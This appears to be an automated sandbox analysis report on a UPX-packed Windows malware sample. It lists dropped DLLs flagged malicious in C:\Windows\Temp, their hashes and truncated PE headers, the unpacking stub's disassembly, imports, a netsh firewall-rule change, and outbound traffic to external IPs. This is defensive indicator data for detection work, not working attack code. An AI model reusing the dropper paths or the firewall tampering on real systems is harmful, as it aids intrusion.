Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!Q..rQ..rQ..rv[.rX..rv[.rS..rv[.r^..rv[.r...rX.lrS..r...rT..rQ..r..rv[.rP..rX.\|rv..rX.mrP..rX.nrP..rRichQ..r................PE..L...5.LO...........!................>&.......0............................................@.........................@@...J..D;..d...................................................................X:..@............0..P............................text............................... ..`.rdata...Z...0...\... ..............@..@.data................\|..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\trch-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	6.384962040154663
Encrypted:	false
SSDEEP:	768:9fo4XJn+xrNRFydS3allJVAI5az6oL5BsterNpGEi1Yt4KH8va:9DurNRFoS38lJD+B4te5pGjY+da
MD5:	838CEB02081AC27DE43DA56BEC20FC76
SHA1:	972AB587CDB63C8263EB977F10977FD7D27ECF7B
SHA-256:	0259D41720F7084716A3B2BBE34AC6D3021224420F81A4E839B0B3401E5EF29F
SHA-512:	BCCA9E1E2F84929BF513F26CC2A7DC91F066E775EF1D34B0FB00A54C8521DE55EF8C81F796C7970D5237CDEAB4572DEDFD2B138D21183CB19D2225BDB0362A22
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c...c...c...D}.d...D}.a...D}..l...D}..\...j...g...:...`...c.....D}.b...j..."...j...b...j...b...Richc...........................PE..L.....LO...........!.........F......f.....................................................@.........................P....!..D...d...............................@...................................P...@...............0............................text...r........................... ..`.rdata...........0..................@..@.data...............................@....reloc..H...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\trfo-2.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	6.547296626785163
Encrypted:	false
SSDEEP:	768:NluruFqeE4KRu8B/4VHNaEoPw6HtFhCC48qkfg:Nlu0EDRTl4VHkw6NLA8
MD5:	3E89C56056E5525BF4D9E52B28FBBCA7
SHA1:	08F93AB25190A44C4E29BEE5E8AACECC90DAB80C
SHA-256:	B2A3172A1D676F00A62DF376D8DA805714553BB3221A8426F9823A8A5887DAAA
SHA-512:	32487C6BCA48A989D48FA7B362381FADD0209FDCC8E837F2008F16C4B52AB4830942B2E0AA1FB18DBEC7FCE189BB9A6D40F362A6C2B4F44649BD98557ECDDBB6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........c...........................................z_......!......................zO......z^......z].....Rich............................PE..L.....LO...........!.....V..........@`.......p............................................@.........................`z..G....v..x....................................................................t..@............p...............................text...&U.......V.................. ..`.rdata.......p.......Z..............@..@.data................j..............@....reloc...............n..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\tucl-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	5.458439359139689
Encrypted:	false
SSDEEP:	192:EXTHmlw2IjGFKL6rBbnbO8slVnZp7snHQNv8uU4l5XLIb/p2:yHm218DrB768mFZxsKv8v4/cF2
MD5:	83076104AE977D850D1E015704E5730A
SHA1:	776E7079734BC4817E3AF0049F42524404A55310
SHA-256:	CF25BDC6711A72713D80A4A860DF724A79042BE210930DCBFC522DA72B39BB12
SHA-512:	BD1E6C99308C128A07FBB0C05E3A09DBCF4CEC91326148439210077D09992EBF25403F6656A49D79AD2151C2E61E6532108FED12727C41103DF3D7A2B1BA82F8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b.1.1.1.[.1...1.[.1.1.[.1.1.[.1...1...1.1.1...1.[.1.1...1.1...1.1...1.1Rich.1................PE..L.....LO...........!......................... ...............................P............@......................... %......4"..<............................@..D...................................H!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...\....0......................@....reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ucl.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	6.672487827821247
Encrypted:	false
SSDEEP:	1536:ncZeBwroDJXSoY9/8qqG9aCapIu2GfUFd0:ZWrSJCoyUlG9sg0
MD5:	6B7276E4AA7A1E50735D2F6923B40DE4
SHA1:	DB8603AC6CAC7EB3690F67AF7B8D081AA9CE3075
SHA-256:	F0DF80978B3A563077DEF7BA919E2F49E5883D24176E6B3371A8EEF1EFE2B06A
SHA-512:	58E65CE3A5BCB65F056856CFDA06462D3FBCE4D625A76526107977FD7A44D93CFC16DE5F9952B8FCFF7049A7556B0D35DE0AA02DE736F0DAEEC1E41D02A20DAA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~.......................m...............k.......~.......}.......................n.....................Rich....................PE..L...{.LO...........!.........,...................................................................................... ...........<.......................................................................................d............................text............................... ..`.rdata..............................@..@.data...\|...........................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\x64.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	5.856801052130016
Encrypted:	false
SSDEEP:	1536:PlDf5UB2vFMiSI6vlOV9JZ+OLJs7UsWe1Ed09dlf/4ia:PlDf5JmiB6tarZ+ii7bcMN/4ia
MD5:	679795D1F387D9A6BEDDA306964F7ACA
SHA1:	6AB5E96C207DCD255893EF3D31188157DD4537F0
SHA-256:	275A9A7B99F3474CBF8A61964A6022E3CF7BAF76E0EE2FBA31A708D8F1E25BD0
SHA-512:	F605FE47853B4F9958A54B3D7C1AE0E35E58EE73A255463C827C31513DB7A324BF8223899D0A1C83594AEDE4623606980A88D532C9A4D9B14CBDD0A882DF46BF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.J.P...P...P...;...P...;...P...;..lP...$...P...$...P...$...P...;...P...P...P..?$...P..?$9..P..?$...P..Rich.P..................PE..d.....(b.........." ......................................................................`..................................................U..P...............8...............8....F..p...........................pF..8...............8............................text...`........................... ..`.rdata..............................@..@.data........`.......D..............@....pdata..8............N..............@..@_RDATA...............\..............@..@.rsrc................^..............@..@.reloc..8............`..............@..B........................................................................................................................................................................................................

C:\Windows\Temp\x86.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	6.1559716752614575
Encrypted:	false
SSDEEP:	1536:t+3r75k1UeRS+PlMlDO7JCWl6fIZZgsWccdSyYIWg8Y:8+1k+ClDO7SfIjcSfIT8Y
MD5:	CC55779EAB28EB65877EEC251B731D5B
SHA1:	AE4EA94DD7A0ACDCC358A09AB5E2B1847994AD91
SHA-256:	F247A48D3ECDBDF91FCD7A2D8728ADAAF06149586ADDE62DE7212C6DE645AD58
SHA-512:	C25EE17BC83E24525D48190365D0FE770A64D43007870D4762C5FA2ABA0DC86D9A2DED6E43258B3318C3DDEBD3C996B93037C43F7E7BA3F8AE1BC95967E14DF8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D.. .~.s.~.s.~.s...r.~.s...r.~.s...r.~.sl..r.~.sl..r.~.sl..r.~.s...r.~.s.~.sR~.s...r.~.s..;s.~.s...r.~.sRich.~.s................PE..L...Z.(b...........!.........................................................`............@.....................................P....@.......................P..........p...............................@............................................text............................... ..`.rdata...Z.......\..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\xdvl-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	6.4974965673672305
Encrypted:	false
SSDEEP:	768:ah/VicQqYL6tqi5CzTbvNJKMEKRW2FN4fn9n:ah/P5YJi5CzvvNJKMEX2FN4f9
MD5:	5B72CCFA122E403919A613785779AF49
SHA1:	F560EA0A109772BE2B62C539B0BB67C46279ABD1
SHA-256:	B7D8FCC3FB533E5E0069E00BC5A68551479E54A990BB1B658E1BD092C0507D68
SHA-512:	6D5E0FEF137C9255244641DF39D78D1180172C004882D23CF59E8F846726021BA18AF12DEB0E60DFE385F34D7FB42AE2B5E54915FFA11C42D214B4FBFAD9F39D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+_W"o>9qo>9qo>9qH.Dqh>9qH.Bqm>9qH.Wq`>9qH.Tq/>9qfF.qk>9q6.*ql>9qo>8q.>9qH.Gqn>9qfF.qc>9qfF.qn>9qfF.qn>9qRicho>9q........................PE..L...9.LO...........!.....Z...(.......e.......p............................................@..........................x.......s..d...............................D....................................r..@............p...............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...t............p..............@....reloc..v............x..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\zlib1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	6.791137408021781
Encrypted:	false
SSDEEP:	1536:B/Dm7yqxVqWk9XZDGu8I+rnToIfnIOwIOkyk:B/DmWaq/9XZDwLTBfJmkyk
MD5:	E4AD4DF4E41240587B4FE8BBCB32DB15
SHA1:	E8C98DBCD20D45BBBBF4994CC4C95DFCF504C690
SHA-256:	AA8ADF96FC5A7E249A6A487FAAF0ED3E00C40259FDAE11D4CAF47A24A9D3AAED
SHA-512:	4AB69AB79B721B62F8A1194EB5D5B87E545F280D017EA736109E59C4DD47921AF63F135A2B7930A84649B5672F652831AA7E73EDD8AB6523E6D94C7D703F9716
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........G.j.).j.).j.).3.:.h.)..4W.o.).M6T.m.).j.(.5.).M6R.i.).M6G.e.).M6D.*.).c...e.).M6W.k.).c...k.).t...k.).c...k.).Richj.).................PE..L...l.LO...........!.........`...................LZ......................... ......+...........................................<...............................`.......................................@............................................text.............................. ..`.rdata...K.......L..................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:joOOyha:joOOma
MD5:	4C249D0E2A8013312113FCFA315B5EAC
SHA1:	C7BD399E813ABE57B9C5020D6E63FD202677008D
SHA-256:	8645BE2C78C17DF5FEC6D6D87746077752EF19D56635C62FC7887FB46C312CDA
SHA-512:	C781D579DE6511FA3C8D82A5FA1DF72A6CF613F60094DE5C12889144D74F4C037E3D1C6C6161AF016D54E203A4749DF82415DEF4A2673C4ACFB632516381B406
Malicious:	false
Reputation:	unknown
Preview:	..Updated 2 rule(s)...Ok.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.915164093929602
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	exe1.bin.bak.exe
File size:	165'888 bytes
MD5:	ce1d781ff2e37b62bc314b53c6dae49d
SHA1:	9927eafa1c92788774c3653ded4eba03e6b5d96a
SHA256:	9591e4d1090bc5caa1d1db4ebf929d9113fd36e0521d316762f5cff275b4c733
SHA512:	5fc2faacc8db2c88c0f46634a7a09c8fdc3f1efc4ccf98b10eca3e02147a8c91653a5a27644f5c7e4ec82fc8d3d8f281b2a4c9a075d07588b87684bcab81a672
SSDEEP:	3072:tFkGbeuz0DsP2YaD+mNZN8Gb/riKvG+cG3DR7pJ3rbeM5p:wEeJs7aKmNZNbriKvG+c2tlJbbbj
TLSH:	1CF312BE2D7BBF62DE00427F224E826D4D9714A617478DF88627019EF0B221F239A445
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W..C6..C6..C6..8..B6...9..G6.....Y6..u...66...9..V6..C6...7..u...,6..C6..B6...)..A6..RichC6..........PE..L.....gf...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x481e90
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x66678ED7 [Mon Jun 10 23:40:07 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	302df154ee229e4f36e2a9fdf7b39372

Entrypoint Preview

Instruction
pushad
mov esi, 0045A000h
lea edi, dword ptr [esi-00059000h]
push edi
or ebp, FFFFFFFFh
jmp 00007FD3A8B31A42h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007FD3A8B31A39h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FD3A8B31A1Fh
mov eax, 00000001h
add ebx, ebx
jne 00007FD3A8B31A39h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007FD3A8B31A3Dh
jne 00007FD3A8B31A5Ah
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FD3A8B31A51h
dec eax
add ebx, ebx
jne 00007FD3A8B31A39h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007FD3A8B31A06h
add ebx, ebx
jne 00007FD3A8B31A39h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007FD3A8B31A84h
xor ecx, ecx
sub eax, 03h
jc 00007FD3A8B31A43h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007FD3A8B31AA7h
sar eax, 1
mov ebp, eax
jmp 00007FD3A8B31A3Dh
add ebx, ebx
jne 00007FD3A8B31A39h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FD3A8B319FEh
inc ecx
add ebx, ebx
jne 00007FD3A8B31A39h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FD3A8B319F0h
add ebx, ebx
jne 00007FD3A8B31A39h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007FD3A8B31A21h
jne 00007FD3A8B31A3Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FD3A8B31A16h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [eax+eax]

Rich Headers

Programming Language:

[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x83000	0x1dc	UPX2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x59000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x5a000	0x29000	0x28200	86f9503a2a88d41e7b5d952a321e29e1	False	0.9861699279595015	data	7.925635989607075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX2	0x83000	0x1000	0x200	ea4097a684a9212856d386df12745e5c	False	0.529296875	data	3.826910247951683	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
ADVAPI32.dll	RegFlushKey
COMCTL32.dll
GDI32.dll	Escape
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
SHELL32.dll
SHLWAPI.dll	PathIsDirectoryW
USER32.dll	GetDC
WINSPOOL.DRV	AddMonitorA

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 6, 2024 14:09:48.145374060 CEST	49678	443	192.168.2.4	104.46.162.224
Jul 6, 2024 14:09:50.223423958 CEST	49675	443	192.168.2.4	173.222.162.32
Jul 6, 2024 14:09:55.384794950 CEST	49730	53	192.168.2.4	110.11.158.238
Jul 6, 2024 14:09:55.390937090 CEST	53	49730	110.11.158.238	192.168.2.4
Jul 6, 2024 14:09:55.391022921 CEST	49730	53	192.168.2.4	110.11.158.238
Jul 6, 2024 14:09:55.517813921 CEST	49730	53	192.168.2.4	110.11.158.238
Jul 6, 2024 14:09:55.522872925 CEST	53	49730	110.11.158.238	192.168.2.4
Jul 6, 2024 14:09:55.596957922 CEST	49731	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:55.601871967 CEST	80	49731	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:55.601932049 CEST	49731	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:55.603571892 CEST	49731	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:55.608490944 CEST	80	49731	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:56.489392996 CEST	80	49731	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:56.489411116 CEST	80	49731	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:56.489511967 CEST	49731	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:56.509939909 CEST	49731	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:56.509965897 CEST	49731	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:56.510879040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:56.515683889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:56.516239882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:56.517618895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:56.522412062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.382358074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.382379055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.382390022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.382400036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.382437944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.382478952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.571690083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.571718931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.571747065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.571757078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.571789026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.571814060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.571825027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.571841002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.571872950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.764353991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.764381886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.764422894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.764448881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.764457941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.764470100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.764487028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.764507055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.764539003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.811916113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.811974049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.812011957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.812022924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.812032938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.812050104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.812077045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.956013918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.956060886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.956075907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.956093073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:57.956103086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.956137896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:57.956172943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.007184982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.007219076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.007234097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.007246971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.007268906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.007277012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.007313967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.007364988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.007368088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.007406950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.007956028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.008006096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.145117044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.145138979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.145154953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.145193100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.145205021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.145246983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.145276070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.145466089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.187201977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.187242985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.187258005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.187313080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.187365055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.191041946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.191121101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.191135883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.191181898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.191447020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.191459894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.191515923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.193964005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.194025993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.194238901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.194252014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.194266081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.194281101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.194308996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.194325924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.249720097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.249881029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.249895096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.250009060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.250202894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.338551044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.338588953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.338603973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.338649035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.338653088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.338668108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.338673115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.338716984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.378303051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.378381014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.378395081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.378407955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.378431082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.378448009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.378452063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.378479004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.378495932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:58.382038116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.382083893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:58.382093906 CEST	49732	80	192.168.2.4	211.108.60.155
